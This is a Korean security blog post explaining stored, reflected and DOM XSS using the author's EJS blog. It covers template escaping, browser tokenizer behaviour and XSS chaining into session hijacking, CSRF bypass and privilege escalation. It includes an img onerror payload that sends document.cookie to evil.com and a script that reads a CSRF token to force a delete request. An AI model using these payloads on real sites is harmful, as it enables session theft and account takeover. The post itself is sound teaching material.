← 목록으로

XSS (Cross-Site Scripting): Stored / Reflected / DOM 차이와 방어

[Web] Web · 작성: 2026-07-19 19:15:17 · 수정: 2026-07-21 22:36:53 · 조회 24

XSS를 "스크립트 태그가 실행되는 취약점"이라고만 알면, 왜 <%- %><%= %> 한 글자 차이가 이 블로그를 완전히 다른 취약점 상태로 만드는지, 그리고 브라우저 안에서 정확히 어느 파이프라인 단계에서 "내 데이터"가 "네 명령"으로 뒤바뀌는지를 설명할 수 없다. 이 글은 이 블로그(EJS 템플릿 엔진)를 실제 예제로 브라우저 렌더링 엔진 내부까지 파고든다.

소스 레벨: EJS는 템플릿을 어떻게 "컴파일"하는가

이 블로그의 뷰는 EJS로 작성된다. 흥미로운 지점은, EJS 템플릿이 요청마다 그때그때 해석되는 게 아니라 최초 렌더링 시점에 진짜 JavaScript 함수로 컴파일된다는 것이다. views/blog/show.ejs에 있는 아래 두 문법은 컴파일 결과가 완전히 다르다.

<%= post.title %>   <!-- 이스케이프 O -->
<%- html %>          <!-- 이스케이프 X (blog.js에서 marked+sanitize-html 거친 신뢰된 HTML이라 의도적으로 사용) -->

EJS 컴파일러는 이걸 대략 이런 JS 함수로 바꾼다.

function anonymous(locals) {
  __output += escapeFn(post.title);   // <%= %> → escapeFn 호출이 강제로 삽입됨
  __output += (html);                  // <%- %> → 아무 처리 없이 그대로 문자열 결합
  return __output;
}

escapeFn&, <, >, ", '&amp;, &lt;, &gt;, &quot;, &#39;로 바꾸는 HTML 엔티티 인코더다. <%= %>를 쓰면 사용자 입력이 아무리 <script>를 포함해도 컴파일된 함수 안에서 강제로 이스케이프를 거치도록 코드 자체가 생성되어버린다 — 이건 "필터링을 잘 했는가"의 문제가 아니라 템플릿 컴파일 단계에서 이스케이프 호출이 코드에 물리적으로 삽입되는가의 문제다. 반대로 <%- %>는 컴파일된 함수에 이스케이프 호출이 아예 없기 때문에, 여기에 신뢰할 수 없는 사용자 입력이 들어가면 그 순간 Stored XSS가 성립한다. 이 블로그가 안전한 이유는 blog.jsrenderMarkdown()marked.parse() 직후 sanitize-html<script>, onerror= 같은 위험 요소를 한 번 더 걸러낸 결과만 <%- html %> 자리에 넘기기 때문이다 — 이 필터링 단계가 없다면 마크다운 글 본문 자체가 그대로 Stored XSS 벡터가 된다.

런타임 레벨: 브라우저는 저 문자열을 왜 "실행"하는가

서버가 이스케이프 없이 <script>alert(document.cookie)</script>를 HTML 응답에 그대로 흘려보냈다고 하자. 브라우저 안에서 벌어지는 일은 HTML5 명세에 정의된 토크나이저 상태 기계(tokenizer state machine) 단위로 정확히 추적할 수 있다.

  1. Data state에서 문자를 하나씩 읽다가 <를 만나면 Tag open state로 전이
  2. 다음 글자가 s(script)라 Tag name state로 진입, script라는 태그 이름을 끝까지 읽음
  3. >를 만나 태그가 닫히면, HTML 파서는 script 태그를 만났다는 사실 자체 때문에 파서 모드를 "Script data state"로 전환 — 이 상태에서는 <, >도 더 이상 태그로 해석되지 않고, </script>가 나올 때까지 모든 문자를 순수 텍스트(스크립트 소스코드)로만 취급한다
  4. </script> 종료 태그를 만나면, HTML 파서가 지금까지 모은 텍스트를 DOM에 HTMLScriptElement 노드로 삽입
  5. 이 노드가 DOM 트리에 삽입되는 순간, 브라우저는 별도의 "이게 신뢰할 수 있는 서버 코드인지 사용자 입력이었는지"를 검사하지 않는다 — <script> 태그라는 사실 하나만으로 브라우저 JS 엔진(V8 등)에 소스코드로 전달되어 파싱·컴파일(Ignition 바이트코드 생성)·실행된다

즉 SQLi와 완전히 같은 구조다: SQLite 파서가 "이게 원래 쿼리인지 주입된 데이터인지" 구분 못 하듯, HTML 파서도 <script> 토큰이 서버가 쓴 것인지 사용자가 주입한 것인지 구분할 방법이 구조적으로 없다. HTML이라는 파싱 문법 자체가 "이 위치의 이 태그는 실행 가능한 코드다"라고 정의해놓았기 때문에, 파서는 자기 할 일(파싱 → DOM 구성 → 스크립트 실행)을 정상적으로 수행했을 뿐이다.

페이로드가 서버·브라우저에서 실제로 작동하는 순서

  1. 공격자가 댓글/글 본문에 <img src=x onerror="fetch('https://evil.com/c?c='+document.cookie)"> 저장 (Stored XSS 예시)
  2. 서버가 이스케이프 없이 (또는 sanitize-html 우회에 성공한 페이로드로) 이 문자열을 HTML 응답에 포함해 반환
  3. 피해자 브라우저의 HTML 토크나이저가 <img> 태그를 파싱 → src=x로 이미지 로드 시도 → 404 → error 이벤트 발생
  4. 브라우저의 이벤트 루프가 onerror 속성값을 인라인 이벤트 핸들러로 컴파일해서 JS 엔진에 넘김 (이때도 마찬가지로 "이 속성값이 서버 신뢰 영역에서 왔는지"는 검사 대상이 아니다)
  5. fetch()가 실행되며 피해자 브라우저의 쿠키 저장소(Cookie Jar)에서 현재 오리진에 대한 쿠키를 자동으로 읽어 document.cookie로 노출, 이걸 공격자 서버로 전송
  6. 세션 쿠키가 HttpOnly 플래그 없이 발급되어 있었다면 이 시점에 세션 하이재킹이 완성된다

여기서 끝나지 않는다: XSS 체이닝

1) 세션 하이재킹 → 완전한 계정 탈취

탈취한 세션 쿠키를 공격자 브라우저에 그대로 주입하면, 로그인 절차 없이 피해자 세션으로 서버에 요청을 보낼 수 있다. HttpOnly 플래그가 세팅된 세션 쿠키라면 document.cookie로는 못 읽지만, XSS는 이미 피해자 브라우저 컨텍스트 안에서 임의 JS를 실행하는 권한이므로 쿠키를 훔치는 대신 fetch()로 직접 상태 변경 요청(비밀번호 변경, 이메일 변경, 관리자 권한 부여)을 그 자리에서 실행해버리면 HttpOnly는 아무 방어도 못 한다.

2) CSRF 토큰을 무력화하는 최종 병기

이 블로그의 middleware/csrf.js는 세션에 저장된 토큰과 폼의 _csrf 값을 비교하는 동기화 토큰(Synchronizer Token) 패턴을 쓴다. CSRF 방어는 "공격자가 토큰 값을 모른다"는 전제 위에 서 있는데, XSS가 있으면 피해자 브라우저에서 실행되는 JS가 DOM에서 그 토큰 값을 직접 읽어올 수 있다.

// XSS로 주입된 스크립트가 페이지 내 폼에서 CSRF 토큰을 그대로 읽음
const token = document.querySelector('input[name="_csrf"]').value;
fetch('/blog/some-post/delete', { method: 'POST', body: `_csrf=${token}` });

CSRF 토큰은 "공격자가 아는지 모르는지"로 안전성이 결정되는데, XSS는 그 전제 자체를 깨버린다. 그래서 실무에서 "XSS가 있으면 CSRF 방어는 사실상 무의미해진다"고 말하는 이유가 여기서 나온다 — 두 취약점이 서로 다른 카테고리처럼 보여도, 체이닝 관점에서는 XSS가 CSRF의 유일한 전제조건을 정확히 겨냥해 무너뜨린다.

3) 관리자 세션을 노린 Stored XSS → 권한 상승

공격자가 일반 사용자 권한으로는 못 하는 작업(다른 글 삭제, 설정 변경)을, 관리자가 볼 게시글에 Stored XSS를 심어두고 관리자가 그 글을 열람하는 순간 관리자 세션 컨텍스트에서 그 작업을 대신 실행시키는 패턴이다. 낮은 권한 계정으로도 최종적으로 관리자 권한 작업을 트리거할 수 있다는 게 이 체인의 핵심 — 권한 검증이 "누가 요청했는가"가 아니라 "어떤 세션으로 요청이 왔는가"만 보는 시스템에서 특히 치명적이다.

4) 키로깅·피싱 오버레이

document.addEventListener('keydown', ...)로 페이지 전체의 키 입력을 캡처해 외부로 전송하거나, 로그인 폼과 똑같이 생긴 오버레이 <div>를 DOM에 삽입해 피해자가 자격증명을 그 위에 입력하게 만드는 방식도 흔한 체이닝이다 — 이건 서버 취약점이 아니라 DOM 조작 권한 하나만으로 UI 자체를 조작할 수 있다는 XSS의 본질을 보여준다.

탐지와 방어 (요약)

XSS를 "브라우저가 스크립트를 실행하는 문제"가 아니라 **"HTML 파서가 신뢰 경계 없이 태그를 코드로 승격시키는 구조"**로 이해하면, 왜 이스케이프가 유일한 근본 해법인지, 그리고 왜 XSS 하나가 세션 탈취를 넘어 CSRF 방어까지 무력화하는 체인의 시작점이 되는지가 같은 논리로 설명된다.

Web 카테고리의 글 (2/12)

  1. SQL Injection: 원리, 탐지, 방어
  2. XSS (Cross-Site Scripting): Stored / Reflected / DOM 차이와 방어
  3. CSRF (Cross-Site Request Forgery): 원리와 방어
  4. IDOR / BOLA: 권한 검증이 빠졌을 때
  5. SSRF (Server-Side Request Forgery): 서버가 대신 요청하게 만들기
  6. 파일 업로드 취약점: 웹쉘로 이어지는 경로
  7. 안전하지 않은 역직렬화 (Insecure Deserialization)
  8. SSTI (Server-Side Template Injection): 원리와 탐지
  9. OS Command Injection: 원리와 필터 우회
  10. JWT 취약점: alg=none부터 알고리즘 컨퓨전까지
  11. Race Condition (TOCTOU) 취약점
  12. Path Traversal / LFI (Local File Inclusion): 커널 경로 탐색부터 RCE 체이닝까지
← SQL Injection: 원리, 탐지, 방어 CSRF (Cross-Site Request Forgery): 원리와 방어 →